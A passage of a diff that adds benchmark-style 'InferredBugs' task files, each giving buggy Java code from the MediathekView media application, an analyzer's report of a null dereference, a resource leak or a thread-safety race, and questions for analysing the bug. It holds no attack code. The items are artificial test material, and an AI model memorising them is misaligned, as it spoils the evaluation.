+        final String PFAD_LINUX_FLV = "/usr/bin/flvstreamer";
+        final String PFAD_WINDOWS_FLV = "bin\\flvstreamer_win32_latest.exe";
+        final String PFAD_MAC_FLV = "bin\\flvstreamer_macosx_intel_32bit_latest";
+        String pfad;
+        switch (getOs()) {
+            case OS_LINUX:
+                pfad = PFAD_LINUX_FLV;
+                break;
+            case OS_MAC:
+                pfad = Funktionen.getPathJar() + PFAD_MAC_FLV;
+                break;
+            case OS_WIN_32BIT:
+            case OS_WIN_64BIT:
+            case OS_UNKNOWN:
+            default:
+                pfad = Funktionen.getPathJar() + PFAD_WINDOWS_FLV;
+        }
+        if (new File(pfad).exists()) {
+            return pfad;
+        } else {
+            return "";
+        }
+    }
+
+    public static String getPfadMplayer() {
+        if (Daten.system[Konstanten.SYSTEM_PFAD_MPLAYER_NR].equals("")) {
+            new DialogOk(null, true, new PanelProgrammPfade(false /* vlc */, false /* flvstreamer */, true /* mplayer */), "Pfade Standardprogramme").setVisible(true);
+        }
+        return Daten.system[Konstanten.SYSTEM_PFAD_MPLAYER_NR];
+    }
+
+    public static String getPfadVlc() {
+        if (Daten.system[Konstanten.SYSTEM_PFAD_VLC_NR].equals("")) {
+            new DialogOk(null, true, new PanelProgrammPfade(true /* vlc */, false /* flvstreamer */, false /* mplayer */), "Pfade Standardprogramme").setVisible(true);
+        }
+        return Daten.system[Konstanten.SYSTEM_PFAD_VLC_NR];
+    }
+
+    public static String getPfadFlv() {
+        if (Daten.system[Konstanten.SYSTEM_PFAD_FLVSTREAMER_NR].equals("")) {
+            new DialogOk(null, true, new PanelProgrammPfade(false /* vlc */, true /* flvstreamer */, false /* mplayer */), "Pfade Standardprogramme").setVisible(true);
+        }
+        return Daten.system[Konstanten.SYSTEM_PFAD_FLVSTREAMER_NR];
+    }
+
+    public static int getOs() {
+        int os = OS_UNKNOWN;
+        if (System.getProperty("os.name").toLowerCase().contains("windows")) {
+            if (System.getenv("ProgramFiles") != null) {
+                // win 32Bit
+                os = OS_WIN_32BIT;
+            } else if (System.getenv("ProgramFiles(x86)") != null) {
+                // win 64Bit
+                os = OS_WIN_64BIT;
+            }
+        } else if (System.getProperty("os.name").toLowerCase().contains("linux")) {
+            os = OS_LINUX;
+        } else if (System.getProperty("os.name").toLowerCase().contains("mac")) {
+            os = OS_MAC;
+        }
+        return os;
+    }
+
+    public static String getPfadScript() {
+        String pfadScript;
+        final String PFAD_LINUX_SCRIPT = "bin/flv.sh";
+        final String PFAD_WINDOWS_SCRIPT = "bin\\flv.bat";
+        switch (getOs()) {
+            case OS_LINUX:
+                pfadScript = Funktionen.getPathJar() + PFAD_LINUX_SCRIPT;
+                break;
+            case OS_MAC:
+                pfadScript = Funktionen.getPathJar() + PFAD_LINUX_SCRIPT;
+                break;
+            case OS_WIN_32BIT:
+            case OS_WIN_64BIT:
+            case OS_UNKNOWN:
+            default:
+                pfadScript = Funktionen.getPathJar() + PFAD_WINDOWS_SCRIPT;
+        }
+        return pfadScript;
+    }
+
+    public static ListePset getStandardprogramme(DDaten ddaten) {
+        ListePset pSet;
+        InputStream datei;
+        switch (getOs()) {
+            case OS_LINUX:
+                datei = new GetFile().getPsetVorlageLinux();
+                break;
+            case OS_MAC:
+                datei = new GetFile().getPsetVorlageMac();
+                break;
+            case OS_WIN_32BIT:
+            case OS_WIN_64BIT:
+            case OS_UNKNOWN:
+            default:
+                datei = new GetFile().getPsetVorlageWindows();
+        }
+        // Standardgruppen laden
+        pSet = IoXmlLesen.importPset(datei, true);
+        return pSet;
+    }
+
+    public static boolean addVorlagen(DDaten ddaten, ListePset pSet, boolean auto) {
+        // Standardgruppen laden
+        if (pSet != null) {
+            if (!auto) {
+                DialogImportPset dialog = new DialogImportPset(null, true, ddaten, pSet);
+                dialog.setVisible(true);
+                if (!dialog.ok) {
+                    return false;
+                }
+            }
+            if (ddaten.listePset.addPset(pSet)) {
+                ListenerMediathekView.notify(ListenerMediathekView.EREIGNIS_LISTE_PSET, GuiFunktionenProgramme.class.getSimpleName());
+                JOptionPane.showMessageDialog(null, pSet.size() + " Programmset importiert!",
+                        "Ok", JOptionPane.INFORMATION_MESSAGE);
+            }
+            return true;
+        } else {
+            JOptionPane.showMessageDialog(null, "Die Datei wurde nicht importiert!",
+                    "Fehler", JOptionPane.ERROR_MESSAGE);
+            return false;
+        }
+    }
+
+    public static boolean praefixTesten(String str, String uurl, boolean praefix) {
+        //prüfen ob url beginnt/endet mit einem Argument in str
+        //wenn str leer dann true
+        boolean ret = false;
+        String url = uurl.toLowerCase();
+        String s1 = "";
+        if (str.equals("")) {
+            ret = true;
+        } else {
+            for (int i = 0; i < str.length(); ++i) {
+                if (str.charAt(i) != ',') {
+                    s1 += str.charAt(i);
+                }
+                if (str.charAt(i) == ',' || i >= str.length() - 1) {
+                    if (praefix) {
+                        //Präfix prüfen
+                        if (url.startsWith(s1.toLowerCase())) {
+                            ret = true;
+                            break;
+                        }
+                    } else {
+                        //Suffix prüfen
+                        if (url.endsWith(s1.toLowerCase())) {
+                            ret = true;
+                            break;
+                        }
+                    }
+                    s1 = "";
+                }
+            }
+        }
+        return ret;
+    }
+
+    public static boolean checkPfadBeschreibbar(String pfad) {
+        boolean ret = false;
+        File testPfad = new File(pfad);
+        try {
+            if (!testPfad.exists()) {
+                testPfad.mkdirs();
+            }
+            if (pfad.equals("")) {
+            } else if (!testPfad.isDirectory()) {
+            } else {
+                if (testPfad.canWrite()) {
+                    File tmpFile = File.createTempFile("mediathek", "tmp", testPfad);
+                    tmpFile.delete();
+                    ret = true;
+                }
+            }
+        } catch (Exception ex) {
+        }
+        return ret;
+    }
+
+    public static boolean programmePruefen(DDaten daten) {
+        final String PIPE = "| ";
+        final String LEER = "      ";
+        final String PFEIL = " -> ";
+        boolean ret = true;
+        String text = "";
+        Iterator<DatenPset> itPset = daten.listePset.iterator();
+        DatenPset datenPset;
+        DatenProg datenProg;
+        while (itPset.hasNext()) {
+            datenPset = itPset.next();
+            ret = true;
+            if (!datenPset.isFreeLine() && !datenPset.isLable()) {
+                // nur wenn kein Lable oder freeline
+                text += "++++++++++++++++++++++++++++++++++++++++++++" + "\n";
+                text += PIPE + "Programmgruppe: " + datenPset.arr[DatenPset.PROGRAMMSET_NAME_NR] + "\n";
+                String zielPfad = datenPset.arr[DatenPset.PROGRAMMSET_ZIEL_PFAD_NR];
+                if (datenPset.progsContainPath()) {
+                    // beim nur Abspielen wird er nicht gebraucht
+                    if (zielPfad.equals("")) {
+                        ret = false;
+                        text += PIPE + LEER + "Zielpfad fehlt!\n";
+                    } else {
+                        // Pfad beschreibbar?
+                        if (!checkPfadBeschreibbar(zielPfad)) {
+                            //da Pfad-leer und "kein" Pfad schon abgeprüft
+                            ret = false;
+                            text += PIPE + LEER + "Falscher Zielpfad!\n";
+                            text += PIPE + LEER + PFEIL + "Zielpfad \"" + zielPfad + "\" nicht beschreibbar!" + "\n";
+                        }
+                    }
+                }
+                Iterator<DatenProg> itProg = datenPset.getListeProg().iterator();
+                while (itProg.hasNext()) {
+                    datenProg = itProg.next();
+                    // Programmpfad prüfen
+                    //if (!new File(datenProg.arr[Konstanten.PROGRAMM_PROGRAMMPFAD_NR]).exists()) {
+                    if (!new File(datenProg.arr[DatenProg.PROGRAMM_PROGRAMMPFAD_NR]).canExecute()) {
+                        // Programme prüfen
+                        ret = false;
+                        text += PIPE + LEER + "Falscher Programmpfad!\n";
+                        text += PIPE + LEER + PFEIL + "Programmname: " + datenProg.arr[DatenProg.PROGRAMM_NAME_NR] + "\n";
+                        text += PIPE + LEER + LEER + "Pfad: " + datenProg.arr[DatenProg.PROGRAMM_PROGRAMMPFAD_NR] + "\n";
+                        if (!datenProg.arr[DatenProg.PROGRAMM_PROGRAMMPFAD_NR].contains(File.separator)) {
+                            text += PIPE + LEER + PFEIL + "Wenn das Programm nicht im Systempfad liegt, " + "\n";
+                            text += PIPE + LEER + LEER + "wird der Start nicht klappen!" + "\n";
+                        }
+                    }
+                }
+                if (ret) {
+                    //sollte alles passen
+                    text += PIPE + PFEIL + "Ok!" + "\n";
+                }
+                text += "++++++++++++++++++++++++++++++++++++++++++++" + "\n\n\n";
+            }
+        }
+        new DialogHilfe(null, true, text).setVisible(true);
+        return ret;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getProperty("os.name")` could be null and is dereferenced at line 104.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String GuiFunktionenProgramme.getMusterPfadMplayer()
+
+### Procedure Id:
+mediathek.tool.GuiFunktionenProgramme.getMusterPfadMplayer():java.lang.String.2a04323df0fc1af0e5e9b2a59cb67252
+
+### File:
+src/mediathek/tool/GuiFunktionenProgramme.java
+
+### Key:
+GuiFunktionenProgramme.java|getMusterPfadMplayer|NULL_DEREFERENCE
+
+### Node Key:
+3136f63d7119a7aa69484bac205f617e
+
+### Hash:
+0397eca27321cdb7b87ce96735efde3b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8955/instruction.md b/inferredbugs-8955/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9d76229192b6b5826c369d3891ba481e49ff1eed
--- /dev/null
+++ b/inferredbugs-8955/instruction.md
@@ -0,0 +1,198 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 62
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *    MediathekView
+ *    Copyright (C) 2010 by Andreas M.
+ *    http://zdfmediathk.sourceforge.net/
+ *    
+ *    This program is free software: you can redistribute it and/or modify
+ *    it under the terms of the GNU General Public License as published by
+ *    the Free Software Foundation, either version 3 of the License, or
+ *    any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek.controller.io;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.util.HashSet;
+import java.util.Iterator;
+import mediathek.tool.ListenerMediathekView;
+import mediathek.tool.Log;
+
+public class History extends HashSet<String> {
+
+    private String datei = "";
+
+    public History(String history_datei) {
+        datei = history_datei;
+    }
+
+    @Override
+    public boolean add(String url) {
+        boolean ret = super.add(url);
+        ListenerMediathekView.notify(ListenerMediathekView.EREIGNIS_LISTE_HISTORY_GEAENDERT, History.class.getSimpleName());
+        return ret;
+    }
+
+    public void add(String[] url) {
+        for (String s : url) {
+            super.add(s);
+        }
+        ListenerMediathekView.notify(ListenerMediathekView.EREIGNIS_LISTE_HISTORY_GEAENDERT, History.class.getSimpleName());
+    }
+
+    @Override
+    public boolean remove(Object url) {
+        boolean ret = super.remove(url);
+        ListenerMediathekView.notify(ListenerMediathekView.EREIGNIS_LISTE_HISTORY_GEAENDERT, History.class.getSimpleName());
+        return ret;
+    }
+
+    public void laden() {
+        clear();
+        File file = new File(datei);
+        if (!file.exists()) {
+            return;
+        }
+        try {
+            FileInputStream fstream = new FileInputStream(datei);
+            DataInputStream in = new DataInputStream(fstream);
+            BufferedReader br = new BufferedReader(new InputStreamReader(in));
+            String strLine;
+            while ((strLine = br.readLine()) != null) {
+                super.add(strLine);
+            }
+            //Close the input stream
+            in.close();
+            ListenerMediathekView.notify(ListenerMediathekView.EREIGNIS_LISTE_HISTORY_GEAENDERT, History.class.getSimpleName());
+        } catch (Exception e) {//Catch exception if any
+            System.err.println("Fehler: " + e);
+            Log.fehlerMeldung(303049876, Log.FEHLER_ART_PROG, History.class.getName(), e);
+        }
+    }
+
+    public void speichern() {
+        try {
+            FileOutputStream fstream = new FileOutputStream(datei);
+            DataOutputStream out = new DataOutputStream(fstream);
+            BufferedWriter br = new BufferedWriter(new OutputStreamWriter(out));
+            for (String h : this) {
+                br.write(h + "\n");
+            }
+            br.flush();
+            out.close();
+        } catch (Exception e) {//Catch exception if any
+            Log.fehlerMeldung(978786563, Log.FEHLER_ART_PROG, History.class.getName(), e);
+        }
+    }
+
+    public void loschen() {
+        this.clear();
+        File file = new File(datei);
+        if (!file.exists()) {
+            return;
+        }
+        file.delete();
+        ListenerMediathekView.notify(ListenerMediathekView.EREIGNIS_LISTE_HISTORY_GEAENDERT, History.class.getSimpleName());
+    }
+
+    public Object[][] getObjectData() {
+        Object[][] object;
+        int i = 0;
+        Iterator<String> iterator = this.iterator();
+        object = new Object[this.size()][1];
+        while (iterator.hasNext()) {
+            object[i][0] = iterator.next();
+            ++i;
+        }
+        return object;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedWriter` acquired to `br` by call to `new()` at line 91 is not released after line 97.
+**Note**: potential exception at line 93
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void History.speichern()
+
+### Procedure Id:
+mediathek.controller.io.History.speichern():void.6a1ab5937b0160a686f6354f5f0476ef
+
+### File:
+src/mediathek/controller/io/History.java
+
+### Key:
+History.java|speichern|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+de117fe49de0807f27afb26748890f53
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8962/instruction.md b/inferredbugs-8962/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..01974819c24ee576201304803f9d4523e72dc029
--- /dev/null
+++ b/inferredbugs-8962/instruction.md
@@ -0,0 +1,359 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 55
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * MediathekView
+ * Copyright (C) 2008 W. Xaver
+ * W.Xaver[at]googlemail.com
+ * http://zdfmediathk.sourceforge.net/
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek.controller.filmeLaden.suchen.sender;
+
+import mediathek.controller.filmeLaden.suchen.FilmeSuchenSender;
+import mediathek.controller.io.GetUrl;
+import mediathek.daten.Daten;
+import mediathek.daten.DatenFilm;
+import mediathek.tool.Konstanten;
+import mediathek.tool.Log;
+import mediathek.tool.MVStringBuilder;
+import org.apache.commons.lang3.StringEscapeUtils;
+
+public class MediathekKika extends MediathekReader implements Runnable {
+
+    public static final String SENDER = "KiKA";
+    private MVStringBuilder seiteHttp = new MVStringBuilder(Konstanten.STRING_BUFFER_START_BUFFER);
+
+    public MediathekKika(FilmeSuchenSender ssearch, int startPrio) {
+        super(ssearch, /* name */ SENDER, /* threads */ 2, /* urlWarten */ 500, startPrio);
+    }
+
+    @Override
+    synchronized void meldungThreadUndFertig() {
+        if (threads <= 1) {
+            // vorher noch laufen
+            addToListHttp();
+        }
+        --threads;
+        if (threads <= 0) {
+            //wird erst ausgeführt wenn alle Threads beendet sind
+            suchen.meldenFertig(nameSenderMReader);
+        } else {
+            // läuft noch was
+            suchen.melden(nameSenderMReader, max, progress, "" /* text */);
+        }
+    }
+
+    @Override
+    void addToList() {
+        //<strong style="margin-left:10px;">Sesamstraße präsentiert: Eine Möhre für Zwei</strong><br />
+        //<a style="margin-left:20px;" href="?programm=168&amp;id=14487&amp;ag=5" title="Sendung vom 10.10.2012" class="overlay_link">42. Ordnung ist das halbe Chaos</a><br />
+        //<a style="margin-left:20px;" href="?programm=168&amp;id=14485&amp;ag=5" title="Sendung vom 10.10.2012" class="overlay_link">41. Über den Wolken</a><br />
+        final String ADRESSE = "http://kikaplus.net/clients/kika/kikaplus/";
+        final String MUSTER_URL = "<a style=\"margin-left:20px;\" href=\"";
+        final String MUSTER_THEMA = "<strong style=\"margin-left:10px;\">";
+        final String MUSTER_DATUM = "title=\"Sendung vom ";
+        listeThemen.clear();
+        MVStringBuilder seite = new MVStringBuilder(Konstanten.STRING_BUFFER_START_BUFFER);
+        meldungStart();
+        seite = getUrlIo.getUri(nameSenderMReader, ADRESSE, Konstanten.KODIERUNG_UTF, 3, seite, "KiKA: Startseite");
+        int pos = 0;
+        int pos1, pos2, stop, pDatum1, pDatum2, pTitel1, pTitel2;
+        String url, thema, datum, titel;
+        while ((pos = seite.indexOf(MUSTER_THEMA, pos)) != -1) {
+            try {
+                thema = "";
+                pos += MUSTER_THEMA.length();
+                stop = seite.indexOf(MUSTER_THEMA, pos);
+                pos1 = pos;
+                if ((pos2 = seite.indexOf("<", pos1)) != -1) {
+                    thema = seite.substring(pos1, pos2);
+                }
+                while ((pos1 = seite.indexOf(MUSTER_URL, pos1)) != -1) {
+                    titel = "";
+                    datum = "";
+                    if (stop != -1 && pos1 > stop) {
+                        // dann schon das nächste Thema
+                        break;
+                    }
+                    pos1 += MUSTER_URL.length();
+                    if ((pos2 = seite.indexOf("\"", pos1)) != -1) {
+                        url = seite.substring(pos1, pos2);
+                        //if (!url.equals("")) {
+                        url = StringEscapeUtils.unescapeXml(url);
+                        if (!url.equals("") && !url.startsWith("http://") && !url.startsWith("/")) {                            // Datum
+                            if ((pDatum1 = seite.indexOf(MUSTER_DATUM, pos2)) != -1) {
+                                pDatum1 += MUSTER_DATUM.length();
+                                if ((pDatum2 = seite.indexOf("\"", pDatum1)) != -1) {
+                                    if (stop != -1 && pDatum1 < stop && pDatum2 < stop) {
+                                        // dann schon das nächste Thema
+                                        datum = seite.substring(pDatum1, pDatum2);
+                                    }
+                                }
+                            }
+
+                            // Titel
+                            if ((pTitel1 = seite.indexOf(">", pos2)) != -1) {
+                                pTitel1 += 1;
+                                if ((pTitel2 = seite.indexOf("<", pTitel1)) != -1) {
+                                    //if (stop != -1 && pTitel1 > stop && pTitel2 > stop) {
+                                    if (stop != -1 && pTitel1 < stop && pTitel2 < stop) {
+                                        titel = seite.substring(pTitel1, pTitel2);
+                                    }
+                                }
+                            }
+                            // in die Liste eintragen
+                            String[] add = new String[]{ADRESSE + url, thema, titel, datum};
+                            listeThemen.addUrl(add);
+                        }
+                    }
+                }
+            } catch (Exception ex) {
+                Log.fehlerMeldung(-302025469, Log.FEHLER_ART_MREADER, "MediathekKiKA.addToList", ex, "");
+            }
+        }
+        if (Daten.filmeLaden.getStop()) {
+            meldungThreadUndFertig();
+        } else if (listeThemen.size() == 0) {
+            meldungThreadUndFertig();
+        } else {
+            listeSort(listeThemen, 1);
+            meldungAddMax(listeThemen.size());
+            for (int t = 0; t < maxThreadLaufen; ++t) {
+                //new Thread(new ThemaLaden()).start();
+                Thread th = new Thread(new ThemaLaden());
+                th.setName(nameSenderMReader + t);
+                th.start();
+            }
+
+        }
+    }
+
+    private class ThemaLaden implements Runnable {
+
+        GetUrl getUrl = new GetUrl(wartenSeiteLaden);
+        private MVStringBuilder seite1 = new MVStringBuilder(Konstanten.STRING_BUFFER_START_BUFFER);
+
+        @Override
+        public synchronized void run() {
+            try {
+                meldungAddThread();
+                String[] link;
+                while (!Daten.filmeLaden.getStop() && (link = listeThemen.getListeThemen()) != null) {
+                    meldungProgress(link[0]);
+                    laden(link[0] /* url */, link[1] /* Thema */, link[2] /* Titel */, link[3] /*Datum*/);
+                }
+            } catch (Exception ex) {
+                Log.fehlerMeldung(-987452384, Log.FEHLER_ART_MREADER, "Mediathek3Sat.ThemaLaden.run", ex, "");
+            }
+            meldungThreadUndFertig();
+        }
+
+        void laden(String filmWebsite, String thema, String titel, String datum) {
+            //so.addVariable("pfad","rtmp://88.198.74.226/vod/mp4:1348908081-7b8b1356b478db154fdbf8bf6a01fc1f.mp4");
+            //so.addVariable("fullscreenPfad", "rtmp://88.198.74.226/vod/mp4:1348908081-7b8b1356b478db154fdbf8bf6a01fc1f-01.mp4");
+            //xajax.config.requestURI = "http://kikaplus.net/clients/kika/kikaplus/?programm=270&id=33172&ag=5";
+            final String MUSTER_URL_1 = "so.addVariable(\"pfad\",\"";
+            final String MUSTER_URL_2 = "so.addVariable(\"fullscreenPfad\", \"";
+            final String MUSTER_ID = "xajax.config.requestURI = \"";
+            seite1 = getUrlIo.getUri(nameSenderMReader, filmWebsite, Konstanten.KODIERUNG_UTF, 1, seite1, thema + " " + titel);
+            int pos1, pos2;
+            String id;
+            String urlFilm = "";
+            id = seite1.extract(MUSTER_ID, "\"");
+            if ((pos1 = seite1.indexOf(MUSTER_URL_2)) != -1) {
+                pos1 += MUSTER_URL_2.length();
+                if ((pos2 = seite1.indexOf("\"", pos1)) != -1) {
+                    urlFilm = seite1.substring(pos1, pos2);
+                }
+            }
+            if (urlFilm.equals("")) {
+                if ((pos1 = seite1.indexOf(MUSTER_URL_1)) != -1) {
+                    pos1 += MUSTER_URL_1.length();
+                    if ((pos2 = seite1.indexOf("\"", pos1)) != -1) {
+                        urlFilm = seite1.substring(pos1, pos2);
+                    }
+                }
+            }
+            if (!urlFilm.equals("")) {
+                meldung(urlFilm);
+                addFilm(new DatenFilm(nameSenderMReader, thema, filmWebsite, titel, urlFilm, "-r " + urlFilm + " --flashVer WIN11,4,402,265"/* urlRtmp */,
+                        datum/*datum*/, ""/*zeit*/, 0, "", "", "", new String[]{""}));
+            }
+        }
+    }
+
+    void addToListHttp() {
+        //http://www.kikaplus.net/clients/kika/kikaplus/hbbtv/index.php?cmd=az&age=3&page=all
+        //http://www.kikaplus.net/clients/kika/kikaplus/hbbtv/index.php?cmd=az&age=6&page=all
+        //http://www.kikaplus.net/clients/kika/kikaplus/hbbtv/index.php?cmd=az&age=10&page=all
+
+        final String ADRESSE_1 = "http://www.kikaplus.net/clients/kika/kikaplus/hbbtv/index.php?cmd=az&age=";
+        final String ADRESSE_2 = "&page=all";
+        final String MUSTER_START = "var programletterlist = {\"";
+        final String[] ALTER = {"3", "6", "10"};
+//        listeThemen.clear();
+        MVStringBuilder seite = new MVStringBuilder(Konstanten.STRING_BUFFER_START_BUFFER);
+        meldungStart();
+        int pos1 = 0, pos2, start = 0, stop = 0;
+        String id = "", thema = "", url = "";
+        for (String alter : ALTER) {
+            seite = getUrlIo.getUri(nameSenderMReader, ADRESSE_1 + alter + ADRESSE_2, Konstanten.KODIERUNG_UTF, 3, seite, "KiKA: Startseite");
+            if ((start = seite.indexOf(MUSTER_START)) != -1) {
+                start += MUSTER_START.length();
+                pos1 = start;
+                if ((stop = seite.indexOf("}};", start)) != -1) {
+                    while ((pos1 = seite.indexOf("\"", pos1)) != -1) {
+                        thema = "";
+                        id = "";
+                        pos1 += 1;
+                        if ((pos2 = seite.indexOf("\"", pos1)) != -1) {
+                            id = seite.substring(pos1, pos2);
+                            try {
+                                // Testen auf Zehl
+                                int z = Integer.parseInt(id);
+                            } catch (Exception ex) {
+                                continue;
+                            }
+                            ++pos2;
+                            if ((pos1 = seite.indexOf("\"", pos2)) != -1) {
+                                ++pos1;
+                                if ((pos2 = seite.indexOf("\"", pos1)) != -1) {
+                                    thema = seite.substring(pos1, pos2);
+                                }
+                            }
+                            // http://www.kikaplus.net/clients/kika/kikaplus/hbbtv/index.php?cmd=program&id=165&age=10
+                            url = "http://www.kikaplus.net/clients/kika/kikaplus/hbbtv/index.php?cmd=program&id=" + id + "&age=" + alter;
+                            ladenHttp(url, thema, alter);
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    void ladenHttp(String filmWebsite, String thema, String alter) {
+        // erst die Nummer suchen
+        // >25420<4<165<23. Die b
+        // <http://www.kikaplus.net/clients/kika/mediathek/previewpic/1355302530-f80b463888fd4602d925b2ef2c861928 9.jpg<
+        final String MUSTER_BILD = "<http://www.";
+        seiteHttp = getUrlIo.getUri(nameSenderMReader, filmWebsite, Konstanten.KODIERUNG_UTF, 1, seiteHttp, thema);
+        String nummer, url, bild, urlFilm, titel;
+        nummer = seiteHttp.extract(">", "<");
+        bild = seiteHttp.extract(MUSTER_BILD, "<");
+        if (!bild.isEmpty()) {
+            bild = "http://www." + bild;
+        }
+        // die URL bauen:
+        // http://www.kikaplus.net/clients/kika/kikaplus/hbbtv/index.php?cmd=video&age=10&id=25420&page=az
+        if (!nummer.isEmpty()) {
+            url = "http://www.kikaplus.net/clients/kika/kikaplus/hbbtv/index.php?cmd=video&age=" + alter + "&id=" + nummer + "&page=az";
+            seiteHttp = getUrlIo.getUri(nameSenderMReader, url, Konstanten.KODIERUNG_UTF, 1, seiteHttp, thema);
+            final String MUSTER_URL = "var videofile = \"";
+            final String MUSTER_TITEL = "var videotitle = \"";
+            urlFilm = seiteHttp.extract(MUSTER_URL, "\"");
+            titel = seiteHttp.extract(MUSTER_TITEL, "\"");
+            if (!urlFilm.equals("")) {
+                meldung(urlFilm);
+                // DatenFilm(String ssender, String tthema, String filmWebsite, String ttitel, String uurl, String uurlRtmp,
+                //     String datum, String zeit,
+                //     long dauerSekunden, String description, String thumbnailUrl, String imageUrl, String[] keywords) {
+                DatenFilm film = null;
+                if ((film = istInFilmListe(nameSenderMReader, thema, titel)) != null) {
+                    film.addUrlKlein(urlFilm, "");
+                } else {
+                    // dann gibs ihn noch nicht
+                    addFilm(new DatenFilm(nameSenderMReader, thema, "http://www.kika.de/fernsehen/mediathek/index.shtml", titel, urlFilm, ""/* urlRtmp */,
+                            ""/*datum*/, ""/*zeit*/,
+                            0, "", bild, "", new String[]{""}));
+                }
+            } else {
+                Log.fehlerMeldung(-915263078, Log.FEHLER_ART_MREADER, "MediathekKika", "keine URL: " + filmWebsite);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `mediathek.controller.filmeLaden.suchen.sender.MediathekKika.ladenHttp` reads without synchronization from `this.mediathek.controller.filmeLaden.suchen.sender.MediathekKika.seiteHttp`. Potentially races with write in method `MediathekKika.meldungThreadUndFertig()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MediathekKika.ladenHttp(String,String,String)
+
+### Procedure Id:
+mediathek.controller.filmeLaden.suchen.sender.MediathekKika.ladenHttp(java.lang.String,java.lang.Str.baacf86a2519544ecd111ab867b66324
+
+### File:
+src/mediathek/controller/filmeLaden/suchen/sender/MediathekKika.java
+
+### Key:
+MediathekKika.java|ladenHttp|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+934c6a963fb7e05266ee2383d588684a
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8963/instruction.md b/inferredbugs-8963/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7d2db5bfbcfb21914579d40201dacf36407413e2
--- /dev/null
+++ b/inferredbugs-8963/instruction.md
@@ -0,0 +1,307 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 46
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  MediathekView
+ *  Copyright (C) 2008 W. Xaver
+ *  W.Xaver[at]googlemail.com
